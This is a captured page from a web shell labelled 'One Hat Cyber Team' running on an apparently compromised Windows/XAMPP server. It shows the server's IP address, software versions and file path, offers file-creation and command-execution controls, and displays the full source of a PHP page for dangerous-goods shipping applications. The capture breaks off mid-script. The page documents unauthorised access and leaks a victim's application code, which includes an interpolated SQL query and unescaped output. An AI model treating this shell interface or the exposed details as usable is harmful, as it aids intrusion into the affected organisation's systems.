One Hat Cyber Team
Your IP :
172.16.0.254
Server IP :
58.26.163.33
Server :
Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Server Software :
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
PHP Version :
7.3.25
Buat File
|
Buat Folder
Eksekusi
Dir :
C:
/
xampp7
/
htdocs
/
edgpens_220424
/
edg_o
/
Edit File:
dg.php
<?php if(empty($page)){ include("../access.php"); } ?> <?php $modal_name = str_replace("/", "-", $page); $user = get_user($_SESSION['session']); $ii = (is_numeric($_GET['ii']) == 1) ? $_GET['ii'] : "new" ; $success = 0; $type_submit = "add"; $user = get_user_full($_SESSION['session']); $roles = (int)$user['idRoles']; $idUser = (int)$user['idUser']; if($roles == 1 || $roles == 5){ if(!empty($ii)){ if($roles == 1){ $query="SELECT * FROM permohonan_main WHERE idUserApply='{$idUser}' AND idPermohonan = '{$ii}'"; $result=$mysqli->query($query); $row=$result->fetch_assoc(); if(!$row){ echo "<script>window.location.replace('index.php?page=edg/main&np=edg/ship_particular');</script>"; exit(); } } } }else{ echo "<script>window.location.replace('index.php?page=edg/main');</script>"; exit(); } // exit(); if($_POST): $do = $_POST['type_submit']; // print_r($_POST); if($ii > 0){ if($do=="add"){ $sql = " INSERT INTO permohonan_dg ( idPermohonanMain, stow_position, ref_num, marks_number, pack_group, add_info, package, unit, ems, idKodDG, comments ) VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? )"; $param_type = "auto"; $param_data = array( "idPermohonanMain" => $ii, "stow_position" => $_POST['stow_position'], "ref_num" => $_POST['ref_num'], "marks_number" => $_POST['marks_number'], "pack_group" => $_POST['pack_group'], "add_info" => $_POST['add_info'], "package" => $_POST['package'], "unit" => $_POST['unit'], "ems" => $_POST['ems'], "idKodDG" => $_POST['idKodDG'], "comments" => $_POST['comments'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"APPLICATION UPDATE (DG)"); $success = 1; $msg = "RECORD ADDED!"; }else if($do=="add-package"){ $sql = " INSERT INTO permohonan_dg_package ( idPDG, CTUID, weight, idWeight, idCTUType, idPackingType, idDimension, CTUTeus, lorryETA, lorryPlateNo, lorryCompany ) VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? )"; $param_type = "sssssssssss"; $param_data = array( "idPDG" => $_POST['val-id'], "CTUID" => $_POST['CTUID'], "weight" => $_POST['weight'], "idWeight" => $_POST['idWeight'], "idCTUType" => $_POST['idCTUType'], "idPackingType" => $_POST['idPackingType'], "idDimension" => $_POST['idDimension'], "CTUTeus" => $_POST['CTUTeus'], "lorryETA" => change_date($_POST['lorryETA'],'Y-m-d')." ".$_POST['lorryETA_time'], "lorryPlateNo" => $_POST['lorryPlateNo'], "lorryCompany" => $_POST['lorryCompany'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"APPLICATION UPDATE (DG)"); $success = 1; $msg = "RECORD ADDED!"; }else if($do=="add-stowage"){ $sql = " INSERT INTO permohonan_dg_bulk ( idPDG, holdNumber, weight, idWeight, lorryETA, lorryPlateNo, lorryCompany ) VALUES ( ?, ?, ?, ?, ?, ?, ? )"; $param_type = "sssssss"; $param_data = array( "idPDG" => $_POST['val-id'], "holdNumber" => $_POST['holdNumber'], "weight" => $_POST['weight'], "idWeight" => $_POST['idWeight'], "lorryETA" => change_date($_POST['lorryETA'],'Y-m-d')." ".$_POST['lorryETA_time'], "lorryPlateNo" => $_POST['lorryPlateNo'], "lorryCompany" => $_POST['lorryCompany'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"APPLICATION UPDATE (DG)"); $success = 1; $msg = "RECORD ADDED!"; }else if($do=="edit"){ $sql = " UPDATE permohonan_dg SET stow_position = ?, ref_num = ?, marks_number = ?, pack_group = ?, add_info = ?, package = ?, unit = ?, ems = ?, idKodDG = ?, comments = ? WHERE idPDG = ?"; $param_type = "auto"; $param_data = array( "stow_position" => $_POST['stow_position'], "ref_num" => $_POST['ref_num'], "marks_number" => $_POST['marks_number'], "pack_group" => $_POST['pack_group'], "add_info" => $_POST['add_info'], "package" => $_POST['package'], "unit" => $_POST['unit'], "ems" => $_POST['ems'], "idKodDG" => $_POST['idKodDG'], "comments" => $_POST['comments'], "idPDG" => $_POST['val-id'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"APPLICATION UPDATE (DG)"); $success = 1; $msg = "RECORD UPDATED!"; }else if($do=="edit-package"){ $sql = " UPDATE permohonan_dg_package SET CTUID = ?, weight = ?, idWeight = ?, idCTUType = ?, idPackingType = ?, idDimension = ?, CTUTeus = ?, lorryETA = ?, lorryPlateNo = ?, lorryCompany = ? WHERE idDGPackage = ?"; $param_type = "sssssssssss"; $param_data = array( "CTUID" => $_POST['CTUID'], "weight" => $_POST['weight'], "idWeight" => $_POST['idWeight'], "idCTUType" => $_POST['idCTUType'], "idPackingType" => $_POST['idPackingType'], "idDimension" => $_POST['idDimension'], "CTUTeus" => $_POST['CTUTeus'], "lorryETA" => change_date($_POST['lorryETA'],'Y-m-d')." ".$_POST['lorryETA_time'], "lorryPlateNo" => $_POST['lorryPlateNo'], "lorryCompany" => $_POST['lorryCompany'], "idDGPackage" => $_POST['val-id'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"APPLICATION UPDATE (DG)"); $success = 1; $msg = "RECORD UPDATED!"; }else if($do=="edit-stowage"){ $sql = " UPDATE permohonan_dg_bulk SET holdNumber = ?, weight = ?, idWeight = ?, lorryETA = ?, lorryPlateNo = ?, lorryCompany = ? WHERE idDGBulk = ?"; $param_type = "sssssss"; $param_data = array( "holdNumber" => $_POST['holdNumber'], "weight" => $_POST['weight'], "idWeight" => $_POST['idWeight'], "lorryETA" => change_date($_POST['lorryETA'],'Y-m-d')." ".$_POST['lorryETA_time'], "lorryPlateNo" => $_POST['lorryPlateNo'], "lorryCompany" => $_POST['lorryCompany'], "idDGBulk" => $_POST['val-id'] ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"APPLICATION UPDATE (DG)"); $success = 1; $msg = "RECORD UPDATED!"; }else if($do=="delete"){ foreach($_POST['myid'] as $value){ $sql = "DELETE FROM permohonan_dg WHERE idPDG=?"; $param_type = "s"; $param_data = array( "idPDG" => $value ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"APPLICATION UPDATE (DG)"); } $success = 3; $msg = "RECORD DELETED!"; }else if($do=="delete-package"){ foreach($_POST['myid2'] as $value){ $sql = "DELETE FROM permohonan_dg_package WHERE idDGPackage=?"; $param_type = "s"; $param_data = array( "idDGPackage" => $value ); $data = mysqli_prepare_audit($sql,$param_type,$param_data,"APPLICATION UPDATE (DG)"); } $success = 3; $msg = "RECORD DELETED!"; }else if($do=="submit_me"){ $sql = "UPDATE permohonan_main SET submit = 'Y', idApproveMFSO = 0, commentsMFSO = '', flagApproveMFSO = 'N', idApproveDG = 0, commentsDG = '', flagApproveDG = 'N', idApproveMTSO = 0, commentsMTSO = '', flagApproveMTSO = 'N' WHERE idPermohonan = ?"; $param_type = "s"; $param_data = array( "idPermohonan" => $ii ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); } } if($success == 1){ $_SESSION['success'] = 1; $_SESSION['success_msg'] = $msg; }else if($success == 2){ $_SESSION['success'] = 2; $_SESSION['success_msg'] = "OPS! SOMETHING WRONG"; }else if($success == 3){ $_SESSION['success'] = 3; $_SESSION['success_msg'] = $msg; } endif; if($success){ if($do=="submit_me") echo "<script>window.location.replace('index.php?page=edg/main&np=edg/dg&ii={$ii}');</script>"; else echo "<script>window.location.replace('index.php?page=edg/main&np=edg/dg&ii={$ii}&success={$success}');</script>"; exit(); } if($ii > 0){ $stmt = $mysqli->stmt_init(); $stmt->prepare("SELECT a.idPermohonan, a.idApproveMFSO, a.idApproveDG, a.idApproveMTSO, a.commentsMFSO, a.commentsDG, a.commentsMTSO, a.submit FROM permohonan_main a WHERE a.idPermohonan=? "); $stmt->bind_param("s",$permohonan_main = $ii); $stmt->execute(); if ($stmt->error) print_r('error executing statement: ' . $stmt->error); $result = $stmt->get_result(); $stmt->close(); $row=$result->fetch_assoc(); $idApproveMFSO = $row['idApproveMFSO']; $idApproveDG = $row['idApproveDG']; $idApproveMTSO = $row['idApproveMTSO']; $commentsMFSO = $row['commentsMFSO']; $commentsDG = $row['commentsDG']; $commentsMTSO = $row['commentsMTSO']; $submit = $row['submit']; $stmt = $mysqli->stmt_init(); $stmt->prepare("SELECT a.idPDG, a.idPermohonanMain, a.stow_position, a.ref_num, a.marks_number, a.pack_group, a.add_info, a.package, a.unit, a.ems, a.idKodDG, a.idOpsType, a.idPortLoading, a.idPortDischarging, a.flashPoint, a.comments, a.typeofdg, b.nama AS nama_operation, c.UNNumber, c.IMOClass, c.nama AS nama_dg, c.KPAGroup, c.properties, d.nama AS port_loading, e.nama AS port_discharge FROM permohonan_dg a LEFT JOIN kod_operation_type b ON b.idOpsType = a.idOpsType LEFT JOIN kod_dg c ON c.idKodDG = a.idKodDG LEFT JOIN kod_pelabuhan d ON d.idPelabuhan = a.idPortLoading LEFT JOIN kod_pelabuhan e ON e.idPelabuhan = a.idPortDischarging WHERE a.idPermohonanMain=? "); $stmt->bind_param("s",$permohonan_main = $ii); $stmt->execute(); if ($stmt->error) print_r('error executing statement: ' . $stmt->error); $result2 = $stmt->get_result(); $stmt->close(); $session = array(); // $rowx=$result2->fetch_assoc(); // print_r($result2->num_rows); $isps = ""; $isps_href = "index.php?page=edg/main&np=edg/isps_info&ii={$ii}"; if($result2->num_rows){ $dis_next = ""; $other = ""; $other_href = "index.php?page=edg/main&np=edg/other_part&ii={$ii}"; }else{ $dis_next = "disabled"; $other = "disabled"; $other_href = "javascript:void(0)"; } $particular = "disabled"; $particular = "javascript:void(0)"; if(!$row){ echo "<script>window.location.replace('index.php?page=edg/main&np=edg/ship_particular');</script>"; exit(); } }else{ echo "<script>window.location.replace('index.php?page=edg/main&np=edg/ship_particular');</script>"; exit(); } ?> <!-- Blank Header --> <div class="content-header"> <div class="row"> <div class="col-sm-6"> <div class="header-section"> <!-- <h1>NEW APPLICATION</h1> --> <h1> <ol class="breadcrumb" style="padding:0px; margin: 0px"> <li><a href="index.php?page=edg/main" style="color:black"><i class="fa fa-home"></i></a></li> <li><a href="javascript:void(0)" style="color:black">NEW APPLICATION</a></li> </ol> </h1> </div> </div> <div class="col-sm-6 hidden-xs"> <div class="header-section"> <!-- <ul class="breadcrumb breadcrumb-top"> --> <!-- <li>Extra Pages</li> --> <!-- <li><a href="">Blank</a></li> --> <!-- </ul> --> </div> </div> </div> </div> <!-- END Blank Header --> <!-- Get Started Block --> <div class="block full"> <?php include 'tabs.php'; ?> <div class="block full"> <!-- <center> <div class="btn-group"> <a class="btn btn-warning" href="index.php?page=edg/main&np=edg/upload&ii=<?php echo $ii;?>"><i class="fa fa-chevron-left"></i></a> <a class="btn btn-primary disabled" href="index.php?page=edg/main">Submit</a> <a class="btn btn-warning disabled" ><i class="fa fa-chevron-right"></i></a> </div> </center> <hr> --> <div id="modal-form" class="modal fade <?php echo $modal_name;?>" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <form class="push form-horizontal" id="form-validation" action="index.php?page=edg/main&np=edg/dg&ii=<?php echo $ii;?>" method="post"> <!-- if delete. check post name delete --> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"><span aria-hidden="true">×</span></button> <h4 class="modal-title"><strong>Dangerous of Goods</strong></h4> </div> <div class="modal-body"><!-- modal-body --> <div class="form-group"> <label class="col-md-3 control-label" for="stow_position">Stowage Position <span class="text-danger">*</span></label> <div class="col-md-7"> <textarea class="form-control validation" data-validation="default" id="stow_position" name="stow_position"></textarea> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="ref_num">Reference Number <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="ref_num" name="ref_num" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="marks_number">Marks & Numbers <span class="text-danger">*</span></label> <div class="col-md-7"> <textarea class="form-control validation" data-validation="default" id="marks_number" name="marks_number"></textarea> </div> </div> <hr> <div class="form-group"> <label class="col-md-3 control-label" for="idKodDG">Proper Shipping Name <span class="text-danger">*</span></label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_dg WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 validation" data-validation="default" name="idKodDG" id="idKodDG"> <option value="">-- Please select --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idKodDG']; ?>" <?php if($aa['idKodDG'] == $idKodDG){ echo "selected='selected'";} ?> ><?php echo $aa['UNNumber']." - ".$aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="pack_group">Packing Group <span class="text-danger">*</span></label> <div class="col-md-7"> <textarea class="form-control validation" data-validation="default" id="pack_group" name="pack_group"></textarea> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="add_info">Additional Information / Marine Pollutant / Flash point <span class="text-danger">*</span></label> <div class="col-md-7"> <textarea class="form-control validation" data-validation="default" id="add_info" name="add_info"></textarea> </div> </div> <hr> <div class="form-group"> <label class="col-md-3 control-label" for="package">Number & Kind of Packages <span class="text-danger">*</span></label> <div class="col-md-7"> <textarea class="form-control validation" data-validation="default" id="package" name="package"></textarea> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="unit">Mass @ Volume <span class="text-danger">*</span></label> <div class="col-md-3"> <select class="form-control select-select2 validation" data-validation="default" name="unit" id="unit"> <option value="">-- Please select --</option> <option value="KG">KG - Mass</option> <option value="L">L - Volume</option> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="ems">EmS <span class="text-danger">*</span></label> <div class="col-md-7"> <textarea class="form-control validation" data-validation="default" id="ems" name="ems"></textarea> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="comments">Comments <span class="text-danger">*</span></label> <div class="col-md-7"> <textarea class="form-control validation" data-validation="default" id="comments" name="comments"></textarea> </div> </div> </div><!-- [end] modal-body --> <input type="hidden" name="type_submit" value="add"> <input type="hidden" name="val-id" value=""> <div class="modal-footer"> <!-- <h4 class="pull-left">$ <strong class="text-primary-dark">689</strong><small>.00</small></h4> --> <button type="submit" class="btn btn-effect-ripple btn-primary">Submit</button> <button type="button" class="btn btn-effect-ripple btn-danger" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <div id="modal-stowage" class="modal fade modal-stowage" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-md"> <div class="modal-content"> <form class="push form-horizontal" id="form-stowage" action="index.php?page=edg/main&np=edg/dg&ii=<?php echo $ii;?>" method="post"> <!-- if delete. check post name delete --> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"><span aria-hidden="true">×</span></button> <h4 class="modal-title"><strong>PORT CALL</strong></h4> </div> <div class="modal-body"><!-- modal-body --> <div class="form-group"> <label class="col-md-3 control-label" for="holdNumber">Tanks @ Cargo Hold Number <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="holdNumber" name="holdNumber" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="weight">Weight <span class="text-danger">*</span></label> <div class="col-md-7"> <div class="input-group"> <input type="text" id="weight" name="weight" class="form-control validation" data-validation="default"> <span class="input-group-addon">Units</span> <?php $sqlx = "SELECT * FROM kod_weight WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-sdelect2 validation" data-validation="default" name="idWeight" id="idWeight"> <option value="">---</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idWeight']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryETA">Lorry ETA <span class="text-danger">*</span></label> <!-- <div class="col-md-7"> --> <div class="col-md-4"> <input type="text" id="lorryETA" name="lorryETA" class="form-control validation input-datepicker" data-validation="default" data-date-format="dd-mm-yyyy" placeholder="dd-mm-yyyy"> </div> <div class="col-md-3"> <div class="input-group bootstrap-timepicker"> <input type="text" id="lorryETA_time" name="lorryETA_time" value="" class="form-control input-timepicker24" placeholder="24Hour"> <span class="input-group-btn"> <a href="javascript:void(0)" class="btn btn-effect-ripple btn-primary" style="overflow: hidden; position: relative;"><span class="btn-ripple animate" style="height: 38px; width: 38px; top: -6.10001px; left: 7.18335px;"></span><i class="fa fa-clock-o"></i></a> </span> </div> </div> <!-- </div> --> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryPlateNo">Lorry Plate No <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="lorryPlateNo" name="lorryPlateNo" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryCompany">Lorry Company <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="lorryCompany" name="lorryCompany" class="form-control validation" data-validation="default"> </div> </div> </div><!-- [end] modal-body --> <input type="hidden" name="type_submit" value="add"> <input type="hidden" name="val-id" value=""> <div class="modal-footer"> <!-- <h4 class="pull-left">$ <strong class="text-primary-dark">689</strong><small>.00</small></h4> --> <button type="submit" class="btn btn-effect-ripple btn-primary">Submit</button> <button type="button" class="btn btn-effect-ripple btn-danger" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <div id="modal-package" class="modal fade modal-package" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-md"> <div class="modal-content"> <form class="push form-horizontal" id="form-package" action="index.php?page=edg/main&np=edg/dg&ii=<?php echo $ii;?>" method="post"> <!-- if delete. check post name delete --> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"><span aria-hidden="true">×</span></button> <h4 class="modal-title"><strong>PORT CALL</strong></h4> </div> <div class="modal-body"><!-- modal-body --> <div class="form-group"> <label class="col-md-3 control-label" for="CTUID">CTU ID <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="CTUID" name="CTUID" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="weight">Weight <span class="text-danger">*</span></label> <div class="col-md-7"> <div class="input-group"> <input type="text" id="weight" name="weight" class="form-control validation" data-validation="default"> <span class="input-group-addon">Units</span> <?php $sqlx = "SELECT * FROM kod_weight WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-sdelect2 validation" data-validation="default" name="idWeight" id="idWeight"> <option value="">---</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idWeight']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="idCTUType">CTU Type<span class="text-danger">*</span></label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_ctu_type WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 validation" data-validation="default" name="idCTUType" id="idCTUType"> <option value="">-- Please select --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idCTUType']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="idPackingType">Packing Type</label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_packing_type WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 select2_custom" name="idPackingType" id="idPackingType"> <option value="">-- Not Defined --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idPackingType']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="idDimension">Dimension <span class="text-danger">*</span></label> <div class="col-md-7"> <?php $sqlx = "SELECT * FROM kod_dimension WHERE flagAktif = 'Y' ORDER BY nama"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 validation" data-validation="default" name="idDimension" id="idDimension"> <option value="">-- Please select --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idDimension']; ?>" ><?php echo $aa['nama']; ?></option> <?php }?> </select> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="CTUTeus">CTUTeus <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="CTUTeus" name="CTUTeus" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryETA">Lorry ETA <span class="text-danger">*</span></label> <!-- <div class="col-md-7"> --> <div class="col-md-4"> <input type="text" id="lorryETA" name="lorryETA" class="form-control validation input-datepicker" data-validation="default" data-date-format="dd-mm-yyyy" placeholder="dd-mm-yyyy"> </div> <div class="col-md-3"> <div class="input-group bootstrap-timepicker"> <input type="text" id="lorryETA_time" name="lorryETA_time" value="" class="form-control input-timepicker24" placeholder="24Hour"> <span class="input-group-btn"> <a href="javascript:void(0)" class="btn btn-effect-ripple btn-primary" style="overflow: hidden; position: relative;"><span class="btn-ripple animate" style="height: 38px; width: 38px; top: -6.10001px; left: 7.18335px;"></span><i class="fa fa-clock-o"></i></a> </span> </div> </div> <!-- </div> --> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryPlateNo">Lorry Plate No <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="lorryPlateNo" name="lorryPlateNo" class="form-control validation" data-validation="default"> </div> </div> <div class="form-group"> <label class="col-md-3 control-label" for="lorryCompany">Lorry Company <span class="text-danger">*</span></label> <div class="col-md-7"> <input type="text" id="lorryCompany" name="lorryCompany" class="form-control validation" data-validation="default"> </div> </div> </div><!-- [end] modal-body --> <input type="hidden" name="type_submit" value="add"> <input type="hidden" name="val-id" value=""> <div class="modal-footer"> <!-- <h4 class="pull-left">$ <strong class="text-primary-dark">689</strong><small>.00</small></h4> --> <button type="submit" class="btn btn-effect-ripple btn-primary">Submit</button> <button type="button" class="btn btn-effect-ripple btn-danger" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <div class="table-responsive"> <form method="post" data-modal-target="<?php echo $modal_name;?>"> <input name="type_submit" type="hidden" value="delete"> <table id="example-datatable" class="table table-striped table-bordered table-condensed table-vcenter table-hover"> <thead> <tr> <th class="no_sorting" style="width: 30px;" class="text-center"><label class="csscheckbox csscheckbox-primary"><input type="checkbox"><span></span></label></th> <th class="text-center no_sorting" style="width: 30px;">NO</th> <th class="text-left">Dangerous of Goods</th> <th class="text-center no_sorting" style="width: 40px;"><i class="fa fa-flash"></i></th> </tr> </thead> <tbody> <?php $i=1; while($aa = $result2->fetch_assoc()){ $editdata = "idKodDG#{$aa['idKodDG']}|" ."stow_position#{$aa['stow_position']}|" ."ref_num#{$aa['ref_num']}|" ."marks_number#{$aa['marks_number']}|" ."pack_group#{$aa['pack_group']}|" ."add_info#{$aa['add_info']}|" ."package#{$aa['package']}|" ."unit#{$aa['unit']}|" ."ems#{$aa['ems']}|" ."idKodDG#{$aa['idKodDG']}|" ."idOpsType#{$aa['idOpsType']}|" ."idPortLoading#{$aa['idPortLoading']}|" ."idPortDischarging#{$aa['idPortDischarging']}|" ."flashPoint#{$aa['flashPoint']}|" ."comments#{$aa['comments']}|" ."typeofdg#{$aa['typeofdg']}|" ."val-id#{$aa['idPDG']}"; $typebtn = ($aa['typeofdg'] == 1) ? "Add Package Form" : "Add Precise Stowage" ; if($aa['typeofdg'] == 1 ): $stmt = $mysqli->stmt_init(); $stmt->prepare("SELECT a.idDGPackage, a.idPDG, a.CTUID, a.weight, a.idWeight, a.idCTUType, a.idPackingType, a.idDimension, a.CTUTeus, DATE_FORMAT(a.lorryETA,'%d-%m-%Y') AS lorryETA, DATE_FORMAT(a.lorryETA,'%H:%i:%s') AS lorryETA_time, a.lorryPlateNo, a.lorryCompany, b.nama AS nama_weight, c.nama AS nama_ctu_type, d.nama AS nama_packing, e.nama AS nama_dimension FROM permohonan_dg_package a LEFT JOIN kod_weight b ON b.idWeight = a.idWeight LEFT JOIN kod_ctu_type c ON c.idCTUType = a.idCTUType LEFT JOIN kod_packing_type d ON d.idPackingType = a.idPackingType LEFT JOIN kod_dimension e ON e.idDimension = a.idDimension WHERE a.idPDG=? "); $stmt->bind_param("s",$permohonan_main = $aa['idPDG']); $stmt->execute(); if ($stmt->error) print_r('error executing statement: ' . $stmt->error); $result3 = $stmt->get_result(); $stmt->close(); else: $stmt = $mysqli->stmt_init(); $stmt->prepare("SELECT a.idDGBulk, a.idPDG, a.holdNumber, a.weight, a.idWeight, DATE_FORMAT(a.lorryETA,'%d-%m-%Y') AS lorryETA, DATE_FORMAT(a.lorryETA,'%H:%i:%s') AS lorryETA_time, a.lorryPlateNo, a.lorryCompany, b.nama AS nama_weight FROM permohonan_dg_bulk a LEFT JOIN kod_weight b ON b.idWeight = a.idWeight WHERE a.idPDG=? "); $stmt->bind_param("s",$permohonan_main = $aa['idPDG']); $stmt->execute(); if ($stmt->error) print_r('error executing statement: ' . $stmt->error); $result3 = $stmt->get_result(); $stmt->close(); endif; ?> <tr> <td class="text-center align-top"><label class="csscheckbox csscheckbox-primary"><input type="checkbox" name="myid[]" value="<?php echo $aa['idPDG'];?>"><span></span></label></td> <td class="text-center align-top"><?php echo $i++; ?></td> <td style="padding: 5px;background: grey"> <table class="table table-bordered table-striped" width="100%" style="margin:0px"> <tr> <td width="50%"> <span class="text-primary text-table-1"> Stowage Position </span> </td> <td width="50%"> <span class="text-primary text-table-1"> Reference Number </span> </td> </tr> <tr> <td> <?php echo change_blank($aa['stow_position'],"-"); ?> </td> <td> <?php echo change_blank($aa['ref_num'],"-"); ?> </td> </tr> <tr> <td> <span class="text-primary text-table-1"> Marks & Numbers </span> </td> <td> <span class="text-primary text-table-1"> UN Number </span> </td> </tr> <tr> <td><?php echo change_blank($aa['marks_number'],"-"); ?></td> <td><?php echo change_blank($aa['UNNumber'],"-"); ?></td> </tr> <tr> <td> <span class="text-primary text-table-1"> Proper Shipping Name </span> </td> <td> <span class="text-primary text-table-1"> Class </span> </td> </tr> <tr> <td><?php echo change_blank($aa['nama_dg'],"-"); ?></td> <td><?php echo change_blank($aa['IMOClass'],"-"); ?></td> </tr> <tr> <td> <span class="text-primary text-table-1"> Packing Group </span> </td> <td> <span class="text-primary text-table-1"> Additional Information/Marine Pollutant/Flash point/etc </span> </td> </tr> <tr> <td><?php echo change_blank($aa['pack_group'],"-"); ?></td> <td><?php echo change_blank($aa['add_info'],"-"); ?></td> </tr> <tr> <td> <span class="text-primary text-table-1"> Mass (kg) or Volume (L) </span> </td> <td> <span class="text-primary text-table-1"> EmS </span> </td> </tr> <tr> <td><?php echo change_blank($aa['unit'],"-"); ?></td> <td><?php echo change_blank($aa['ems'],"-"); ?></td> </tr> <tr> <td> <span class="text-primary text-table-1"> Comment </span> </td> <td> </td> </tr> <tr> <td><?php echo change_blank($aa['comments'],"-"); ?></td> <td> </td> </tr> </table> </td> <td class="text-center align-top"> <a href="javascript:void(0)" title="Edit Record" class="btn btn-effect-ripple btn-xs btn-success edit-me" data-modal-target="<?php echo $modal_name;?>" data-editdata="<?php echo $editdata;?>"><i class="fa fa-pencil"></i></a> <a href="javascript:void(0)" title="Delete Record" class="btn btn-effect-ripple btn-xs btn-danger del-me" data-val="<?php echo $i;?>"><i class="fa fa-times"></i></a> </td> </tr> <?php }mysqli_free_result($resKod); ?> </tbody> </table> </form> </div> <script src="js/pages/formsValidation.js"></script> <script type="text/javascript"> $(document).ready(function(){ $("#example-datatable").setdatatable().setadddelete(); $('thead input:checkbox').click(function() { var checkedStatus = $(this).prop('checked'); var table = $(this).closest('table'); $('tbody input:checkbox', table).each(function() { $(this).prop('checked', checkedStatus); }); }); $(document).on("click", ".add-me2", function(){ var modal_name = "."+$(this).data("modal"); var form = "#"+$(modal_name).find("form").prop("id"); var typeofdg = $(this).data("typeofdg"); var val_id = $(this).data("val-id"); console.log(modal_name); $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find(".default_radio, .default_checkbox").prop("checked",true); $(modal_name).find("select").children("option").prop("selected",false).trigger("change"); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); $(form).setvalidation(''); $(form + " > [name='type_submit']").val("add-"+typeofdg); $(form + " > [name='val-id']").val(val_id); // console.log($._data($("#form-validation").get(0), "events")); }); $(document).on("click", ".add-me", function(){ var modal_name = "."+$(this).closest("form").data("modal-target"); $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find(".default_radio, .default_checkbox").prop("checked",true); $(modal_name).find("select").children("option").prop("selected",false).trigger("change"); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); $("#form-validation").setvalidation(''); $("#form-validation > [name='type_submit']").val("add"); // console.log($._data($("#form-validation").get(0), "events")); }); $(document).on("click", ".del-me-all", function(){ if(confirm("Delete This Records! Are You Sure?")){ var check_tick = 0; $(this).closest("form").find("input[type='checkbox']").each(function(){ if($(this).prop('checked')) check_tick++; }); if(check_tick>0) $(this).closest("form").submit(); else alert("Please select which record to be remove!"); } }); $("#example-datatable tbody").on("click", 